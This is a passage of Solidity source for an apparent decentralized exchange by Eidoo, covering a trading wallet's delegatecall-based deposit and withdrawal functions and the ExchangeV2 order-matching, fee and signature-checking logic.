funds to be sent from the exchange. * Ensures balances will be consistent. */ function () external payable { require(msg.sender == exchange_); } /** * External */ /** * @dev Deposit ether into this wallet, default to address 0 for consistent token lookup. */ function depositEther() external payable { require(logic_.delegatecall(bytes4(sha3('deposit(address,uint256)')), 0, msg.value)); } /** * @dev Deposit any ERC20 token into this wallet. * @param _token The address of the existing token contract. * @param _amount The amount of tokens to deposit. * @return Bool if the deposit was successful. */ function depositERC20Token ( address _token, uint256 _amount ) external returns(bool) { // ether if (_token == 0) return error('Cannot deposit ether via depositERC20, Wallet.depositERC20Token()'); require(logic_.delegatecall(bytes4(sha3('deposit(address,uint256)')), _token, _amount)); return true; } /** * @dev The result of an order, update the balance of this wallet. * @param _token The address of the token balance to update. * @param _amount The amount to update the balance by. * @param _subtractionFlag If true then subtract the token amount else add. * @return Bool if the update was successful. */ function updateBalance ( address _token, uint256 _amount, bool _subtractionFlag ) external returns(bool) { assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * User may update to the latest version of the exchange contract. * Note that multiple versions are NOT supported at this time and therefore if a * user does not wish to update they will no longer be able to use the exchange. * @param _exchange The new exchange. * @return Success of this transaction. */ function updateExchange(address _exchange) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner_, Wallet.updateExchange()'); // If subsequent messages are not sent from this address all orders will fail exchange_ = _exchange; return true; } /** * User may update to a new or older version of the logic contract. * @param _version The versin to update to. * @return Success of this transaction. */ function updateLogic(uint256 _version) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner_, Wallet.updateLogic()'); address newVersion = connector_.getLogic(_version); // Invalid version as defined by connector if (newVersion == 0) return error('Invalid version, Wallet.updateLogic()'); logic_ = newVersion; return true; } /** * @dev Verify an order that the Exchange has received involving this wallet. * Internal checks and then authorize the exchange to move the tokens. * If sending ether will transfer to the exchange to broker the trade. * @param _token The address of the token contract being sold. * @param _amount The amount of tokens the order is for. * @param _fee The fee for the current trade. * @param _feeToken The token of which the fee is to be paid in. * @return If the order was verified or not. */ function verifyOrder ( address _token, uint256 _amount, uint256 _fee, address _feeToken ) external returns(bool) { assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * @dev Withdraw any token, including ether from this wallet to an EOA. * @param _token The address of the token to withdraw. * @param _amount The amount to withdraw. * @return Success of the withdrawal. */ function withdraw(address _token, uint256 _amount) external returns(bool) { if(msg.sender != owner_) return error('msg.sender != owner, Wallet.withdraw()'); assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * Constants */ /** * @dev Get the balance for a specific token. * @param _token The address of the token contract to retrieve the balance of. * @return The current balance within this contract. */ function balanceOf(address _token) public view returns(uint) { return tokenBalances_[_token]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } interface ExchangeV1 { function userAccountToWallet_(address) external returns(address); } interface BadERC20 { function transfer(address to, uint value) external; function transferFrom(address from, address to, uint256 value) external; } /** * @title Decentralized exchange for ether and ERC20 tokens. * @author Eidoo SAGL. * @dev All trades brokered by this contract. * Orders submitted by off chain order book and this contract handles * verification and execution of orders. * All value between parties is transferred via this exchange. * Methods arranged by visibility; external, public, internal, private and alphabatized within. * * New Exchange SC with eventually no fee and ERC20 tokens as quote */ contract ExchangeV2 is LoggingErrors { using SafeMath for uint256; /** * Data Structures */ struct Order { address offerToken_; uint256 offerTokenTotal_; uint256 offerTokenRemaining_; // Amount left to give address wantToken_; uint256 wantTokenTotal_; uint256 wantTokenReceived_; // Amount received, note this may exceed want total } struct OrderStatus { uint256 expirationBlock_; uint256 wantTokenReceived_; // Amount received, note this may exceed want total uint256 offerTokenRemaining_; // Amount left to give } /** * Storage */ address public previousExchangeAddress_; address private orderBookAccount_; address public owner_; uint256 public birthBlock_; address public edoToken_; address public walletConnector; mapping (address => uint256) public feeEdoPerQuote; mapping (address => uint256) public feeEdoPerQuoteDecimals; address public eidooWallet_; // Define if fee calculation must be skipped for a given trade. By default (false) fee must not be skipped. mapping(address => mapping(address => bool)) public mustSkipFee; /** * @dev Define in a trade who is the quote using a priority system: * values example * 0: not used as quote * >0: used as quote * if wanted and offered tokens have value > 0 the quote is the token with the bigger value */ mapping(address => uint256) public quotePriority; mapping(bytes32 => OrderStatus) public orders_; // Map order hashes to order data struct mapping(address => address) public userAccountToWallet_; // User EOA to wallet addresses /** * Events */ event LogFeeRateSet(address indexed token, uint256 rate, uint256 decimals); event LogQuotePrioritySet(address indexed quoteToken, uint256 priority); event LogMustSkipFeeSet(address indexed base, address indexed quote, bool mustSkipFee); event LogUserAdded(address indexed user, address walletAddress); event LogWalletDeposit(address indexed walletAddress, address token, uint256 amount, uint256 balance); event LogWalletWithdrawal(address indexed walletAddress, address token, uint256 amount, uint256 balance); event LogOrderExecutionSuccess( bytes32 indexed makerOrderId, bytes32 indexed takerOrderId, uint256 toMaker, uint256 toTaker ); event LogOrderFilled(bytes32 indexed orderId, uint256 totalOfferRemaining, uint256 totalWantReceived); /** * @dev Contract constructor - CONFIRM matches contract name. Set owner and addr of order book. * @param _bookAccount The EOA address for the order book, will submit ALL orders. * @param _edoToken Deployed edo token. * @param _edoPerWei Rate of edo tokens per wei. * @param _edoPerWeiDecimals Decimlas carried in edo rate. * @param _eidooWallet Wallet to pay fees to. * @param _previousExchangeAddress Previous exchange smart contract address. */ constructor ( address _bookAccount, address _edoToken, uint256 _edoPerWei, uint256 _edoPerWeiDecimals, address _eidooWallet, address _previousExchangeAddress, address _walletConnector ) public { orderBookAccount_ = _bookAccount; owner_ = msg.sender; birthBlock_ = block.number; edoToken_ = _edoToken; feeEdoPerQuote[address(0)] = _edoPerWei; feeEdoPerQuoteDecimals[address(0)] = _edoPerWeiDecimals; eidooWallet_ = _eidooWallet; quotePriority[address(0)] = 10; previousExchangeAddress_ = _previousExchangeAddress; require(_walletConnector != address (0), "WalletConnector address == 0"); walletConnector = _walletConnector; } /** * @dev Fallback. wallets utilize to send ether in order to broker trade. */ function () external payable { } /** * External */ /** * @dev Returns the Wallet contract address associated to a user account. If the user account is not known, try to * migrate the wallet address from the old exchange instance. This function is equivalent to getWallet(), in addition * it stores the wallet address fetched from old the exchange instance. * @param userAccount The user account address * @return The address of the Wallet instance associated to the user account */ function retrieveWallet(address userAccount) public returns(address walletAddress) { walletAddress = userAccountToWallet_[userAccount]; if (walletAddress == address(0) && previousExchangeAddress_ != 0) { // Retrieve the wallet address from the old exchange. walletAddress = ExchangeV1(previousExchangeAddress_).userAccountToWallet_(userAccount); // TODO: in the future versions of the exchange the above line must be replaced with the following one //walletAddress = ExchangeV2(previousExchangeAddress_).retrieveWallet(userAccount); if (walletAddress != address(0)) { userAccountToWallet_[userAccount] = walletAddress; } } } /** * @dev Add a new user to the exchange, create a wallet for them. * Map their account address to the wallet contract for lookup. * @param userExternalOwnedAccount The address of the user"s EOA. * @return Success of the transaction, false if error condition met. */ function addNewUser(address userExternalOwnedAccount) public returns (bool) { if (retrieveWallet(userExternalOwnedAccount) != address(0)) { return error("User already exists, Exchange.addNewUser()"); } // Pass the userAccount address to wallet constructor so owner is not the exchange contract address userTradingWallet = new WalletV2(userExternalOwnedAccount, walletConnector); userAccountToWallet_[userExternalOwnedAccount] = userTradingWallet; emit LogUserAdded(userExternalOwnedAccount, userTradingWallet); return true; } /** * Execute orders in batches. * @param ownedExternalAddressesAndTokenAddresses Tokan and user addresses. * @param amountsExpirationsAndSalts Offer and want token amount and expiration and salt values. * @param vSignatures All order signature v values. * @param rAndSsignatures All order signature r and r values. * @return The success of this transaction. */ function batchExecuteOrder( address[4][] ownedExternalAddressesAndTokenAddresses, uint256[8][] amountsExpirationsAndSalts, // Packing to save stack size uint8[2][] vSignatures, bytes32[4][] rAndSsignatures ) external returns(bool) { for (uint256 i = 0; i < amountsExpirationsAndSalts.length; i++) { require( executeOrder( ownedExternalAddressesAndTokenAddresses[i], amountsExpirationsAndSalts[i], vSignatures[i], rAndSsignatures[i] ), "Cannot execute order, Exchange.batchExecuteOrder()" ); } return true; } /** * @dev Execute an order that was submitted by the external order book server. * The order book server believes it to be a match. * There are components for both orders, maker and taker, 2 signatures as well. * @param ownedExternalAddressesAndTokenAddresses The maker and taker external owned accounts addresses and offered tokens contracts. * [ * makerEOA * makerOfferToken * takerEOA * takerOfferToken * ] * @param amountsExpirationsAndSalts The amount of tokens and the block number at which this order expires and a random number to mitigate replay. * [ * makerOffer * makerWant * takerOffer * takerWant * makerExpiry * makerSalt * takerExpiry * takerSalt * ] * @param vSignatures ECDSA signature parameter. * [ * maker V * taker V * ] * @param rAndSsignatures ECDSA signature parameters r ans s, maker 0, 1 and taker 2, 3. * [ * maker R * maker S * taker R * taker S * ] * @return Success of the transaction, false if error condition met. * Like types grouped to eliminate stack depth error. */ function executeOrder ( address[4] ownedExternalAddressesAndTokenAddresses, uint256[8] amountsExpirationsAndSalts, // Packing to save stack size uint8[2] vSignatures, bytes32[4] rAndSsignatures ) public returns(bool) { // Only read wallet addresses from storage once // Need one more stack slot so squashing into array WalletV2[2] memory makerAndTakerTradingWallets = [ WalletV2(retrieveWallet(ownedExternalAddressesAndTokenAddresses[0])), // maker WalletV2(retrieveWallet(ownedExternalAddressesAndTokenAddresses[2])) // taker ]; // Basic pre-conditions, return if any input data is invalid if(!__executeOrderInputIsValid__( ownedExternalAddressesAndTokenAddresses, amountsExpirationsAndSalts, makerAndTakerTradingWallets[0], // maker makerAndTakerTradingWallets[1] // taker )) { return error("Input is invalid, Exchange.executeOrder()"); } // Verify Maker and Taker signatures bytes32[2] memory makerAndTakerOrderHash = generateOrderHashes( ownedExternalAddressesAndTokenAddresses, amountsExpirationsAndSalts ); // Check maker order signature if (!__signatureIsValid__( ownedExternalAddressesAndTokenAddresses[0], makerAndTakerOrderHash[0], vSignatures[0], rAndSsignatures[0], rAndSsignatures[1] )) { return error("Maker signature is invalid, Exchange.executeOrder()"); } // Check taker order signature if (!__signatureIsValid__( ownedExternalAddressesAndTokenAddresses[2], makerAndTakerOrderHash[1], vSignatures[1], rAndSsignatures[2], rAndSsignatures[3] )) { return error("Taker signature is invalid, Exchange.executeOrder()"); } // Exchange Order Verification and matching OrderStatus memory makerOrderStatus = orders_[makerAndTakerOrderHash[0]]; OrderStatus memory takerOrderStatus = orders_[makerAndTakerOrderHash[1]]; Order memory makerOrder; Order memory takerOrder; makerOrder.offerToken_ = ownedExternalAddressesAndTokenAddresses[1]; makerOrder.offerTokenTotal_ = amountsExpirationsAndSalts[0]; makerOrder.wantToken_ = ownedExternalAddressesAndTokenAddresses[3]; makerOrder.wantTokenTotal_ = amountsExpirationsAndSalts[1]; if (makerOrderStatus.expirationBlock_ > 0) { // Check for existence // Orders still active if (makerOrderStatus.offerTokenRemaining_ == 0) { return error("Maker order is inactive, Exchange.executeOrder()"); } makerOrder.offerTokenRemaining_ = makerOrderStatus.offerTokenRemaining_; // Amount to give makerOrder.wantTokenReceived_ = makerOrderStatus.wantTokenReceived_; // Amount received } else { makerOrder.offerTokenRemaining_ = amountsExpirationsAndSalts[0]; // Amount to give makerOrder.wantTokenReceived_ = 0; // Amount received makerOrderStatus.expirationBlock_ = amountsExpirationsAndSalts[4]; // maker order expiration block } takerOrder.offerToken_ = ownedExternalAddressesAndTokenAddresses[3]; takerOrder.offerTokenTotal_ = amountsExpirationsAndSalts[2]; takerOrder.wantToken_ = ownedExternalAddressesAndTokenAddresses[1]; takerOrder.wantTokenTotal_ = amountsExpirationsAndSalts[3]; if (takerOrderStatus.expirationBlock_ > 0) { // Check for existence if (takerOrderStatus.offerTokenRemaining_ == 0) { return error("Taker order is inactive, Exchange.executeOrder()"); } takerOrder.offerTokenRemaining_ = takerOrderStatus.offerTokenRemaining_; // Amount to give takerOrder.wantTokenReceived_ = takerOrderStatus.wantTokenReceived_; // Amount received } else { takerOrder.offerTokenRemaining_ = amountsExpirationsAndSalts[2]; // Amount to give takerOrder.wantTokenReceived_ = 0; // Amount received takerOrderStatus.expirationBlock_ = amountsExpirationsAndSalts[6]; // taker order expiration block } // Check if orders are matching and are valid if (!__ordersMatch_and_AreVaild__(makerOrder, takerOrder)) { return error("Orders do not match, Exchange.executeOrder()"); } // Trade amounts // [0] => toTakerAmount // [1] => toMakerAmount uint[2] memory toTakerAndToMakerAmount; toTakerAndToMakerAmount = __getTradeAmounts__(makerOrder, takerOrder); // TODO consider removing. Can this condition be met? if (toTakerAndToMakerAmount[0] < 1 || toTakerAndToMakerAmount[1] < 1) { return error("Token amount < 1, price ratio is invalid! Token value < 1, Exchange.executeOrder()"); } uint calculatedFee = __calculateFee__(makerOrder, toTakerAndToMakerAmount[0], toTakerAndToMakerAmount[1]); // Check taker has sufficent EDO token balance to pay the fee if ( takerOrder.offerToken_ == edoToken_ && Token(edoToken_).balanceOf(makerAndTakerTradingWallets[1]) < calculatedFee.add(toTakerAndToMakerAmount[1]) ) { return error("Taker has an insufficient EDO token balance to cover the fee AND the offer, Exchange.executeOrder()"); } else if (Token(edoToken_).balanceOf(makerAndTakerTradingWallets[1]) < calculatedFee) { return error("Taker has an insufficient EDO token balance to cover the fee, Exchange.executeOrder()"); } // Wallet Order Verification, reach out to the maker and taker wallets. if ( !__ordersVerifiedByWallets__( ownedExternalAddressesAndTokenAddresses, toTakerAndToMakerAmount[1], toTakerAndToMakerAmount[0], makerAndTakerTradingWallets[0], makerAndTakerTradingWallets[1], calculatedFee )) { return error("Order could not be verified by wallets, Exchange.executeOrder()"); } // Write to storage then external calls makerOrderStatus.offerTokenRemaining_ = makerOrder.offerTokenRemaining_.sub(toTakerAndToMakerAmount[0]); makerOrderStatus.wantTokenReceived_ = makerOrder.wantTokenReceived_.add(toTakerAndToMakerAmount[1]); takerOrderStatus.offerTokenRemaining_ = takerOrder.offerTokenRemaining_.sub(toTakerAndToMakerAmount[1]); takerOrderStatus.wantTokenReceived_ = takerOrder.wantTokenReceived_.add(toTakerAndToMakerAmount[0]); // Finally write orders to storage orders_[makerAndTakerOrderHash[0]] = makerOrderStatus; orders_[makerAndTakerOrderHash[1]] = takerOrderStatus; // Transfer the external value, ether <> tokens require( __executeTokenTransfer__( ownedExternalAddressesAndTokenAddresses, toTakerAndToMakerAmount[0], toTakerAndToMakerAmount[1], calculatedFee, makerAndTakerTradingWallets[0], makerAndTakerTradingWallets[1] ), "Cannot execute token transfer, Exchange.__executeTokenTransfer__()" ); // Log the order id(hash), amount of offer given, amount of offer remaining emit LogOrderFilled(makerAndTakerOrderHash[0], makerOrderStatus.offerTokenRemaining_, makerOrderStatus.wantTokenReceived_); emit LogOrderFilled(makerAndTakerOrderHash[1], takerOrderStatus.offerTokenRemaining_, takerOrderStatus.wantTokenReceived_); emit LogOrderExecutionSuccess(makerAndTakerOrderHash[0], makerAndTakerOrderHash[1], toTakerAndToMakerAmount[1], toTakerAndToMakerAmount[0]); return true; } /** * @dev Set the fee rate for a specific quote * @param _quoteToken Quote token. * @param _edoPerQuote EdoPerQuote. * @param _edoPerQuoteDecimals EdoPerQuoteDecimals. * @return Success of the transaction. */ function setFeeRate( address _quoteToken, uint256 _edoPerQuote, uint256 _edoPerQuoteDecimals ) external returns(bool) { if (msg.sender != owner_) { return error("msg.sender != owner, Exchange.setFeeRate()"); } if (quotePriority[_quoteToken] == 0) { return error("quotePriority[_quoteToken] == 0, Exchange.setFeeRate()"); } feeEdoPerQuote[_quoteToken] = _edoPerQuote; feeEdoPerQuoteDecimals[_quoteToken] = _edoPerQuoteDecimals; emit LogFeeRateSet(_quoteToken, _edoPerQuote, _edoPerQuoteDecimals); return true; } /** * @dev Set the wallet for fees to be paid to. * @param eidooWallet Wallet to pay fees to. * @return Success of the transaction. */ function setEidooWallet( address eidooWallet ) external returns(bool) { if (msg.sender != owner_) { return error("msg.sender != owner, Exchange.setEidooWallet()"); } eidooWallet_ = eidooWallet; return true; } /** * @dev Set a new order book account. * @param account The new order book account. */ function setOrderBookAcount ( address account ) external returns(bool) { if (msg.sender != owner_) { return error("msg.sender != owner, Exchange.setOrderBookAcount()"); } orderBookAccount_ = account; return true; } /** * @dev Set if a base must skip fee calculation. * @param _baseTokenAddress The trade base token address that must skip fee calculation. * @param _quoteTokenAddress The trade quote token address that must skip fee calculation. * @param _mustSkipFee The trade base token address that must skip fee calculation. */ function setMustSkipFee ( address _baseTokenAddress, address _quoteTokenAddress, bool _mustSkipFee ) external returns(bool) { // Preserving same owner check style if (msg.sender != owner_) { return error("msg.sender != owner, Exchange.setMustSkipFee()"); } mustSkipFee[_baseTokenAddress][_quoteTokenAddress] = _mustSkipFee; emit LogMustSkipFeeSet(_baseTokenAddress, _quoteTokenAddress, _mustSkipFee); return true; } /** * @dev Set quote priority token. * Set the sorting of token quote based on a priority. * @param _token The address of the token that was deposited. * @param _priority The amount of the token that was deposited. * @return Operation success. */ function setQuotePriority(address _token, uint256 _priority) external returns(bool) { if (msg.sender != owner_) { return error("msg.sender != owner, Exchange.setQuotePriority()"); } quotePriority[_token] = _priority; emit LogQuotePrioritySet(_token, _priority); return true; } /* Methods to catch events from external contracts, user wallets primarily */ /** * @dev Simply log the event to track wallet interaction off-chain. * @param tokenAddress The address of the token that was deposited. * @param amount The amount of the token that was deposited. * @param tradingWalletBalance The updated balance of the wallet after deposit. */ function walletDeposit( address tokenAddress, uint256 amount, uint256 tradingWalletBalance ) external { emit LogWalletDeposit(msg.sender, tokenAddress, amount, tradingWalletBalance); } /** * @dev Simply log the event to track wallet interaction off-chain. * @param tokenAddress The address of the token that was deposited. * @param amount The amount of the token that was deposited. * @param tradingWalletBalance The updated balance of the wallet after deposit. */ function walletWithdrawal( address tokenAddress, uint256 amount, uint256 tradingWalletBalance ) external { emit LogWalletWithdrawal(msg.sender, tokenAddress, amount, tradingWalletBalance); } /** * Private */ /** * Calculate the fee for the given trade. Calculated as the set % of the wei amount * converted into EDO tokens using the manually set conversion ratio. * @param makerOrder The maker order object. * @param toTakerAmount The amount of tokens going to the taker. * @param toMakerAmount The amount of tokens going to the maker. * @return The total fee to be paid in EDO tokens. */ function __calculateFee__( Order makerOrder, uint256 toTakerAmount, uint256 toMakerAmount ) private view returns(uint256) { // weiAmount * (fee %) * (EDO/Wei) / (decimals in edo/wei) / (decimals in percentage) if (!__isSell__(makerOrder)) { // buy -> the quote is the offered token by the maker return mustSkipFee[makerOrder.wantToken_][makerOrder.offerToken_] ? 0 : toTakerAmount.mul(feeEdoPerQuote[makerOrder.offerToken_]).div(10**feeEdoPerQuoteDecimals[makerOrder.offerToken_]); } else { // sell -> the quote is the wanted token by the maker return mustSkipFee[makerOrder.offerToken_][makerOrder.wantToken_] ? 0 : toMakerAmount.mul(feeEdoPerQuote[makerOrder.wantToken_]).div(10**feeEdoPerQuoteDecimals[makerOrder.wantToken_]); } } /** * @dev Verify the input to order execution is valid. * @param ownedExternalAddressesAndTokenAddresses The maker and taker external owned accounts addresses and offered tokens contracts. * [ * makerEOA * makerOfferToken * takerEOA * takerOfferToken * ] * @param amountsExpirationsAndSalts The amount of tokens and the block number at which this order expires and a random number to mitigate replay. * [ * makerOffer * makerWant * takerOffer * takerWant * makerExpiry * makerSalt * takerExpiry * takerSalt * ] * @return Success if all checks pass. */ function __executeOrderInputIsValid__( address[4] ownedExternalAddressesAndTokenAddresses, uint256[8] amountsExpirationsAndSalts, address makerTradingWallet, address takerTradingWallet ) private returns(bool) { // msg.send needs to be the orderBookAccount if (msg.sender != orderBookAccount_) { return error("msg.sender != orderBookAccount, Exchange.__executeOrderInputIsValid__()"); } // Check expirations base on the block number if (block.number > amountsExpirationsAndSalts[4]) { return error("Maker order has expired, Exchange.__executeOrderInputIsValid__()"); } if (block.number > amountsExpirationsAndSalts[6]) { return error("Taker order has expired, Exchange.__executeOrderInputIsValid__()"); } // Operating on existing tradingWallets if (makerTradingWallet == address(0)) { return error("Maker wallet does not exist, Exchange.__executeOrderInputIsValid__()"); } if (takerTradingWallet == address(0)) { return error("Taker wallet does not exist, Exchange.__executeOrderInputIsValid__()"); } if (quotePriority[ownedExternalAddressesAndTokenAddresses[1]] == quotePriority[ownedExternalAddressesAndTokenAddresses[3]]) { return error("Quote token is omitted! Is not offered by either the Taker or Maker, Exchange.__executeOrderInputIsValid__()"); } // Check that none of the amounts is = to 0 if ( amountsExpirationsAndSalts[0] == 0 || amountsExpirationsAndSalts[1] == 0 || amountsExpirationsAndSalts[2] == 0 || amountsExpirationsAndSalts[3] == 0 ) return error("May not execute an order where token amount == 0, Exchange.__executeOrderInputIsValid__()"); // // Confirm order ether amount >= min amount // // Maker // uint256 minOrderEthAmount = minOrderEthAmount_; // Single storage read // if (_token_and_EOA_Addresses[1] == 0 && _amountsExpirationAndSalt[0] < minOrderEthAmount) // return error('Maker order does not meet the minOrderEthAmount_ of ether, Exchange.__executeOrderInputIsValid__()'); // // Taker // if (_token_and_EOA_Addresses[3] == 0 && _amountsExpirationAndSalt[2] < minOrderEthAmount) // return error('Taker order does not meet the minOrderEthAmount_ of ether, Exchange.__executeOrderInputIsValid__()'); return true; } /** * @dev Execute the external transfer of tokens. * @param ownedExternalAddressesAndTokenAddresses The maker and taker external owned accounts addresses and offered tokens contracts. * [ * makerEOA * makerOfferToken * takerEOA * takerOfferToken * ] * @param toTakerAmount The amount of tokens to transfer to the taker. * @param toMakerAmount The amount of tokens to transfer to the maker. * @return Success if both wallets verify the order. */ function __executeTokenTransfer__( address[4] ownedExternalAddressesAndTokenAddresses, uint256 toTakerAmount, uint256 toMakerAmount, uint256 fee, WalletV2 makerTradingWallet, WalletV2 takerTradingWallet ) private returns (bool) { // Wallet mapping balances address makerOfferTokenAddress = ownedExternalAddressesAndTokenAddresses[1]; address takerOfferTokenAddress = ownedExternalAddressesAndTokenAddresses[3]; // Taker to pay fee before trading if(fee != 0) { require( takerTradingWallet.updateBalance(edoToken_, fee, true), "Taker trading wallet cannot update balance with fee, Exchange.__executeTokenTransfer__()" ); require( Token(edoToken_).transferFrom(takerTradingWallet, eidooWallet_, fee), "Cannot transfer fees from taker trading wallet to eidoo wallet, Exchange.__executeTokenTransfer__()" ); } // Updating makerTradingWallet balance by the toTaker require( makerTradingWallet.updateBalance(makerOfferTokenAddress, toTakerAmount, true), "Maker trading wallet cannot update balance subtracting toTakerAmount, Exchange.__executeTokenTransfer__()" ); // return error("Unable to subtract maker token from maker wallet, Exchange.__executeTokenTransfer__()"); // Updating takerTradingWallet balance by the toTaker require( takerTradingWallet.updateBalance(makerOfferTokenAddress, toTakerAmount, false), "Taker trading wallet cannot update balance adding toTakerAmount, Exchange.__executeTokenTransfer__()" ); // return error("Unable to add maker token to taker wallet, Exchange.__executeTokenTransfer__()"); // Updating takerTradingWallet balance by the toMaker amount require( takerTradingWallet.updateBalance(takerOfferTokenAddress, toMakerAmount, true), "Taker trading wallet cannot update balance subtracting toMakerAmount, Exchange.__executeTokenTransfer__()" ); // return error("Unable to subtract taker token from taker wallet, Exchange.__executeTokenTransfer__()"); // Updating makerTradingWallet balance by the toMaker amount require( makerTradingWallet.updateBalance(takerOfferTokenAddress, toMakerAmount, false), "Maker trading wallet cannot update balance adding toMakerAmount, Exchange.__executeTokenTransfer__()" ); // return error("Unable to add taker token to maker wallet, Exchange.__executeTokenTransfer__()"); // Ether to the taker and tokens to the maker if (makerOfferTokenAddress == address(0)) { address(takerTradingWallet).transfer(toTakerAmount); } else { require( safeTransferFrom(makerOfferTokenAddress, makerTradingWallet, takerTradingWallet, toTakerAmount), "Token transfership from makerTradingWallet to takerTradingWallet failed, Exchange.__executeTokenTransfer__()" ); assert( __tokenAndWalletBalancesMatch__( makerTradingWallet, takerTradingWallet, makerOfferTokenAddress ) ); } if (takerOfferTokenAddress == address(0)) { address(makerTradingWallet).transfer(toMakerAmount); } else { require( safeTransferFrom(takerOfferTokenAddress, takerTradingWallet, makerTradingWallet, toMakerAmount), "Token transfership from takerTradingWallet to makerTradingWallet failed, Exchange.__executeTokenTransfer__()" ); assert( __tokenAndWalletBalancesMatch__( makerTradingWallet, takerTradingWallet, takerOfferTokenAddress ) ); } return true; } /** * @dev Calculates Keccak-256 hash of order with specified parameters. * @param ownedExternalAddressesAndTokenAddresses The orders maker EOA and current exchange address. * @param amountsExpirationsAndSalts The orders offer and want amounts and expirations with salts. * @return Keccak-256 hash of the passed order. */ function generateOrderHashes( address[4] ownedExternalAddressesAndTokenAddresses, uint256[8] amountsExpirationsAndSalts ) public view returns (bytes32[2]) { bytes32 makerOrderHash = keccak256( address(this), ownedExternalAddressesAndTokenAddresses[0], // _makerEOA ownedExternalAddressesAndTokenAddresses[1], // offerToken amountsExpirationsAndSalts[0], // offerTokenAmount ownedExternalAddressesAndTokenAddresses[3], // wantToken amountsExpirationsAndSalts[1], // wantTokenAmount amountsExpirationsAndSalts[4], // expiry amountsExpirationsAndSalts[5] // salt ); bytes32 takerOrderHash = keccak256( address(this), ownedExternalAddressesAndTokenAddresses[2], // _makerEOA ownedExternalAddressesAndTokenAddresses[3], // offerToken amountsExpirationsAndSalts[2], // offerTokenAmount ownedExternalAddressesAndTokenAddresses[1], // wantToken amountsExpirationsAndSalts[3], // wantTokenAmount amountsExpirationsAndSalts[6], // expiry amountsExpirationsAndSalts[7] // salt ); return [makerOrderHash, takerOrderHash]; } /** * @dev Returns a bool representing a SELL or BUY order based on quotePriority. * @param _order The maker order data structure. * @return The bool indicating if the order is a SELL or BUY. */ function __isSell__(Order _order) internal view returns (bool) { return quotePriority[_order.offerToken_] < quotePriority[_order.wantToken_]; } /** * @dev Compute the tradeable amounts of the two verified orders. * Token amount is the __min__ remaining between want and offer of the two orders that isn"t ether. * Ether amount is then: etherAmount = tokenAmount * priceRatio, as ratio = eth / token. * @param makerOrder The maker order data structure. * @param takerOrder The taker order data structure. * @return The amount moving from makerOfferRemaining to takerWantRemaining and vice versa. */ function __getTradeAmounts__( Order makerOrder, Order takerOrder ) internal view returns (uint256[2]) { bool isMakerBuy = __isSell__(takerOrder); // maker buy = taker sell uint256 priceRatio; uint256 makerAmountLeftToReceive; uint256 takerAmountLeftToReceive; uint toTakerAmount; uint toMakerAmount; if (makerOrder.offerTokenTotal_ >= makerOrder.wantTokenTotal_) { priceRatio = makerOrder.offerTokenTotal_.mul(2**128).div(makerOrder.wantTokenTotal_); if (isMakerBuy) { // MP > 1 makerAmountLeftToReceive = makerOrder.wantTokenTotal_.sub(makerOrder.wantTokenReceived_); toMakerAmount = __min__(takerOrder.offerTokenRemaining_, makerAmountLeftToReceive); // add 2**128-1 in order to obtain a round up toTakerAmount = toMakerAmount.mul(priceRatio).add(2**128-1).div(2**128); } else { // MP < 1 takerAmountLeftToReceive = takerOrder.wantTokenTotal_.sub(takerOrder.wantTokenReceived_); toTakerAmount = __min__(makerOrder.offerTokenRemaining_, takerAmountLeftToReceive); toMakerAmount = toTakerAmount.mul(2**128).div(priceRatio); } } else { priceRatio = makerOrder.wantTokenTotal_.mul(2**128).div(makerOrder.offerTokenTotal_); if (isMakerBuy) { // MP < 1 makerAmountLeftToReceive = makerOrder.wantTokenTotal_.sub(makerOrder.wantTokenReceived_); toMakerAmount = __min__(takerOrder.offerTokenRemaining_, makerAmountLeftToReceive); toTakerAmount = toMakerAmount.mul(2**128).div(priceRatio); } else { // MP > 1 takerAmountLeftToReceive = takerOrder.wantTokenTotal_.sub(takerOrder.wantTokenReceived_); toTakerAmount = __min__(makerOrder.offerTokenRemaining_, takerAmountLeftToReceive); // add 2**128-1 in order to obtain a round up toMakerAmount = toTakerAmount.mul(priceRatio).add(2**128-1).div(2**128); } } return [toTakerAmount, toMakerAmount]; } /** * @dev Return the maximum of two uints * @param a Uint 1 * @param b Uint 2 * @return The grater value or a if equal */ function __max__(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? b : a; } /** * @dev Return the minimum of two uints * @param a Uint 1 * @param b Uint 2 * @return The smallest value or b if equal */ function __min__(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } /** * @dev Confirm that the orders do match and are valid. * 